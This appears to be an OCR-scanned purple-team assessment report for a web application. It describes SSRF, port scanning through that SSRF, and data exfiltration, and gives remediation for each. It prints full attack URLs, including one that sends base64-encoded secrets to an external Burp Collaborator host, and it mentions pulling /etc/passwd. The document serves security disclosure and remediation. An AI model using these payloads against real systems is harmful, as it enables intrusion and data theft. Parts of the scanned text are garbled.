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Technical Finding Risk Rating & Severity

Server-Side Request Forgery High
Server-Side Request Forgery Port Scanning High
Data Exfiltration High

Technical Finding Detail

The following section lists key findings identified during the assessment, describes their risk,
provides a remediation plan, and lists additional information where applicable.

HIGH

Server-Side Request Forgery

Description:
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GE Gas Power Purple Team

The application [REDACTED]’ presents a URL parameter called ‘aicURL=".

When manipulating the parameter, we can request websites from the public domain, or in this
case making local requests.

In the Screenshot below seen in Figure.1: SSRF

We direct the [REDACTED] to http://localhost:80. From the information we can identify we hit

a valid page, but used the wrong HTTP parameter. In this case, the web application sent a POST
request, when we needed a GET request.

Impact:

We can request local files present on the ‘[REDACTEDY server.

Screenshots:
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HTTP Error 405.0 - Method Not Allowed
The page you are looking for cannot be displayed because an invalid method (HTTP verb] is being used.

Most likely causas:

# The request cent to the Web server used an HTTP verb that i not allowed By the module configured to kandle the regoest.

ok request mes sent to the senver that contased an invakd HTTR werh,

s The request is for statie coskent and contang an HTTP verb other than GET or HEAD.

» A request mas sent tn a wirtual direstory using the HTTP werk POST and the default decument is a static file that does net supsort HTTP werbs other Bhan GET or HEAD,

E)’ Things you can bry:

Wery the 15t of verbs enabled for the madule handler this request was sent b, and ensure that the verl should be sllawed for the Web st
Check the [15 log file 1o see which werk is not alowed for the reguest
Create a tracing rule ko track failed requests for this HTTP status code. For more isfienmabon about creabing a tracing rube for fasled requests, cick here

Detailed Error Infarmation:

Module  StaticFileModule Requested URL  http://localhost: BO/iisstart.htm
Motification  ExecuteRequestHandler Physical Path C:\inetpublwwwroot\jisstart, htm
Handler  StaticFile Logon Method Anonymous
Error Code  0x80070001 Logon User Anonymous

More Information:

This error means: that the request sent to the ‘Web server contsined an HTT® verh that is not allowed by the configured module handier for the request.
View more information »

7 aldE e AuTeDiE | coavrans |Puttuns |wimes | 15



vadoy
Stamp



GE Gas Power Purple Team 0

Fig 1: SSRF

Severity Rating: High

Remediation:

Avoid crafting HTTP requests directly using unvalidated user inputs

Affected URLs / Endpoints:

e SSRF Page: http://[REDACTED]
/TemplateV2 /aicc talk.asp?command=PutParam&version= 3.
5&sessionID=500980497a04c3e4b0fd9f47da8balbl7ef4a226e920241120848
5&aiccURL=http://localhost:80/&aicc data=%5BCORE%5D%0D%0ALESSON LO
CATION%3D53%5E3%5E%5E%S5E%S5E%S5E%241%244%241%242%244%241
%241%242%242%241%5Edeepdive%5Epost%5EUNDEFINED1%5E0%5E1%5
E0%5ENaN%0D%0ALESSON STATUS%3DI1%0D%0ASCORE%3D70%0D%0ATIM
E%3D00:00:08%0D%0A%5BCORE LESSON%5D%0D%0APAGEVISITEDSTATUS
%3D1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2
C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1
%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%?2
C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1

%230

References:

e CWE: https://cwe.mitre.org/data/definitions/918.html

HIGH
SSRF Port Scanning

Description:

Utilizing the validated SSRF vulnerability present in ‘@aicURL=" parameter, we can iterate through
all TCP ports ranging from 1 — 65535.

Impact:
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This SSRF allows an attacker better insight into what ports are currently open on the vulnerable
web application.

In Figure-2: SSRF port scan. We come across port 80 and a valid 200 status code. Every failed port
returns 500 server error.
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ntruder attack results filter: Showing all items

Request Payload Status code

200

Render

Detailed Error Information:

Module StaticFileModule F
Notification ExecuteRequestHandler
Handler StaticFile
Error Code 0x80070001

More Information:

This error means that the reguest sent to the Web server contained an HTTP verb that is not allowed by the configure
View more information »

iccURL: | hitp:/127.0.0.1:30 sessioniD: command:: \rerEic-n:| 3.5 || GatParam || PutPa

licc_data::
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Fig 2: SSRF Port Scan

Severity Rating: High

Remediation:
Whitelist allowed domains/URLS. Only request from trusted domains or IPS.
Block Private IP Ranges.

Reject non-HTTP protocols if application does not need access.

Affected URLs / Endpoints:

e http://[REDACTED]
/TemplateV2/aicc talk.asp?command=PutParam&version=3.5

&sessionID=500980497a04c3e4b0fd9f47da8balbl7ef4a226e9202411208485&aiccUR

L=http://localhost:80/&aicc data=%5BCORE%5D%0D%0ALESSON LOCATION%3D53%

SE3%5E%5E%5E%5E%5E%241%244%241%242%244%241%241%242%242%241%5Ed

eepdive%5Epost%SEUNDEFINED1%5E0%5E1%5E0%5ENaN%0D%0ALESSON STATUS%

3DI1%0D%0ASCORE%3D70%0D%0ATIME%3D00:00:08%0D%0A%5BCORE LESSON%5D

%0D%O0APAGEVISITEDSTATUS%3D1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1

%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%

2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C

1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%230

References:

e CWE MITRE: https://cwe.mitre.org/data/definitions/918.html
e CWE MITRE: https://cwe.mitre.org/data/definitions/400.html

HIGH
Data Exfiltration

Description:
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Utilizing the SSRF identified in the web application. We can send private/confidential data to
the I[REDACTED] application (trusted source) to a non-trusted website or cheap server
hosted on 3 rd party vendor.

Impact:

The application is sending a POST request to which ever endpoint we specify in the ‘aicURL=’
parameter. In the screenshot below. We will exfiltrate the linux ‘/etc/passwd’ file and encode
to base64. The result is encoded data which we can decode and save to text file.

Example below will utilize Port Swigger BurpSuite, and the plugin: Collabortator. An Out-of-
Bound domain for testing SSRF

025 7 1%: 168 UTC HTTP ]
2025-Jan-17 19:39:08.324 UTC HTTP Av0purbgedo3vuf/ 1jr9m2bixc

Description Request to Collaborator Response from Collaborator

Pretty Raw Hex
l POST /U3VwZXIgc2VjcmV@IEdFIFBISSBEYXRhCg HTTP/1.1
| Xroxy-Connection: Keep-Alive
3 Content-Type: application/ Wl - T orm- urlencoded
Accept: */#
5 Accept-Language: en-US
5 | User-Agent: Mozilla/4.8 (compatible; Win32; WinHttp.WinHttpRequest.5
/| Content-Length: 86
i | Host: dAvBpurSgcdodvut71jr9m2bxdojf7hvb.ocastify.com
Connection: Keep-Alive

command=GetParam&session id="U2V]jcmV@IHBhc3N3b3JkIGZvciBhcHBs allhdGl vbnMK" &version=3. Frl

testing echo "U3VwZXIgc2VjcmVOIEdFIFBISSBEYXRhCg=" | bas
Super secret GE PII Data
testing echo "U2VicmV@IHBhc3N3b3JkIGZvciBhcHBsaWNhdGlvbnM
ecret password for applications
testing |

Fig 3-4: SSRF Exfil
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Severity Rating: High

Remediation:

Avoid crafting HTTP requests directly using unvalidated user inputs

Affected URLs / Endpoints:

e SSRF Page: http://[REDACTED]
/TemplateV2 /aicc talk.asp?command=GetParam&version= 3.
5&sessionID=%22U2VjcmVOIHBhc3N3b3]JkIGZvciBhcHBsaWNhdGlvbnMK%?22
&aiccURL=http://4v0pur5gc4o3vuf71jr9m2bxdojf7hvé.oastify.com /U3VwZXIgc2
VjcmVOIEdFIFB]SSBEYXRhCg

References:

e CWE: https://cwe.mitre.org/data/definitions/918.html

Appendix

Target Scope

URL (if applicable) Environment

https://[REDACTED]
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